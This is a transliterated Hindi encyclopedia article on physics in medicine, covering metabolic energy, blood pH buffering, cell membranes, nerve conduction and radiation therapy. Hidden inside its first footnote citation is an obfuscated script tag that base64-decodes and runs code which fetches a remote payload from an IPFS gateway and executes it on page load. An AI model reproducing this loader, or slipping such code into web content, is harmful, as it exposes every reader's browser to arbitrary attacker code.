आयुर्विज्ञान में भौतिकी
ayurvijnan mean bhautiki prayogoan se pata chalata hai ki bhautiki (fiziks) ke niyamoan ka palan manav sharir mean bhi hot hai. udaharanat: manushyoan ko vishesh ushmamapi mean rakhakar jab yah napa gaya ki sharir mean kitani garmi utpann hoti hai aur hisab lagaya gaya ki ahar ka jitana aansh pachata hai utane ko jalane se kitani garami utpann ho sakati thi aur jab isapar bhi dhyan rakha gaya ki pasina sookhane mean kitani thandak utpann huee hogi, tab spasht pata chala ki sharir ki sari oorja (garmi aur kam karane ki shakti) amashay aur aantr mean ahar ke pachan tatha upachayan (aauksitaizeshan) se utpann hoti hai; sharir mean oorja ka koee gupt bhaandar nahian hai.
vividh padarthoan ke gholoan ka gun unamean vartaman haidrojan ayanoan ki saandrata par nirbhar rahata hai. amlata aur ksharata bhi inhian ayanoan par nirbhar hai. yadi rudhir mean in ayanoan ki saandrata bahut ghat badh jay to sharirik kriyaoan mean bahut aantar p d jaega. parantu prayogoan se pata chalata hai ki rudhir mean vartaman karabonetoan aur phasphetoan ke karan aml athava kshar adhik a jane par bhi rudhir mean haidrojan ayanoan ki saandrata nahian badalati aur isalie sharir ki kriyaean ati vibhinn dashaoan mean bhi thik hoti rahati hai.
manushy ka sharir vividh prakar ki nanhian-nanhian koshikaoan (seloan) se bana hai. prayogoan se pata chalata hai ki in koshikaoan ke avaran ko namak, glookoz adi nahian par kar sakate. yadi aisa n hota to unake bahar ke drav mean namak, glookoz adi ki kami beshi hone par koshikaean bhi phoolati pichakati rahatian.
sadharan gholoan ki apeksha kalil (kal aauyadal) gholoan ka prabhav sharir par bahut dhir-dhire p data hai. is bat ke adhar par kalil ghol ke roop mean aisi aushadhiyaan bani haian jo ek bar sharir mean pravisht hone par bahut samay tak apana kam karati rahati haian.
maansapeshiyoan aur snayuoan ko sharir se bahar namak ke gholoan mean rakhakar unapar anek prayog kie ge haian. unapar bijali ki nyoon matraoan ka prabhav napa gaya hai. unake jivit rahane ki paristhatiyoan ka pata bhi lagaya gaya hai. yah siddh ho chuka hai ki maansapeshiyaan aur snayuoan ke jivit rahane ke lie upachayan (aksijan ka sanyog) avashyak hai. yah bhi siddh hua hai ki snayuoan mean uttejana ka sanchalan vidyutiy ghatana hai.
bhautiki mean vividh prakar ki vidyuttanragoan ka adhyayan hota hai. uttarottar ghatati tarang ke anusar ye haian rediyo tarangean, avarakt (inphrऱod) rashmiyaan, prakash, parakasani (alatravayalet) rashmiyaan, eks kiran aur rediyam se nikalanevali rashmiyaan. inamean se anek prakar ki tarangoan ka upayog ayurvijnan mean kiya gaya hai. kuchh se keval seankane ka kam liya jata hai, kuchh se tvacha ke rog achchhe hote haian, kuchh uchit matra mean di jane par sharir ke bhitar ghusakar avaanchhaniy jivanuoan ka nash karati haian, yadyapi adhik matra mean di jane par ve sharir ki koshikaoan ko bhi nasht kar sakati haian.[1]
bhautiki ke upayog ke any udaharan sharir-kriya-vijnan, svasthy vijnan aur eks-re chikitsa shirshak lekhoan mean mileange.[2]
ayurvijnan mean paramanu oorja ka upayog-bhabha paramanu anusandhan keandr ke sahayog se kee aspataloan mean kaiansar, lyookimiya jaise asadhy rogoan ke upachar ke prayatn b de tezise kie ja rahe haian. is disha mean kie ge prayogoan dvara pata chala hai ki kuchh vitaminoan ya khanijoan ki kami se bhi kaiansar hone ki ashanka rahati hai. in prayogoan dvara thayaraid ke kaiansar ke upachar mean bhi pragati huee hai. gandamala ki chikitsa mean bhi rediyo samasthanikoan ka upayog hua hai. nabhikiy ayodin ka upayog abatu vishaktata (thairataksikosis) ke rogoan mean bhi kiya jata hai.[3]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 411-13 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ d aau. mukuandasvaroop varma
- ↑ namavar sianh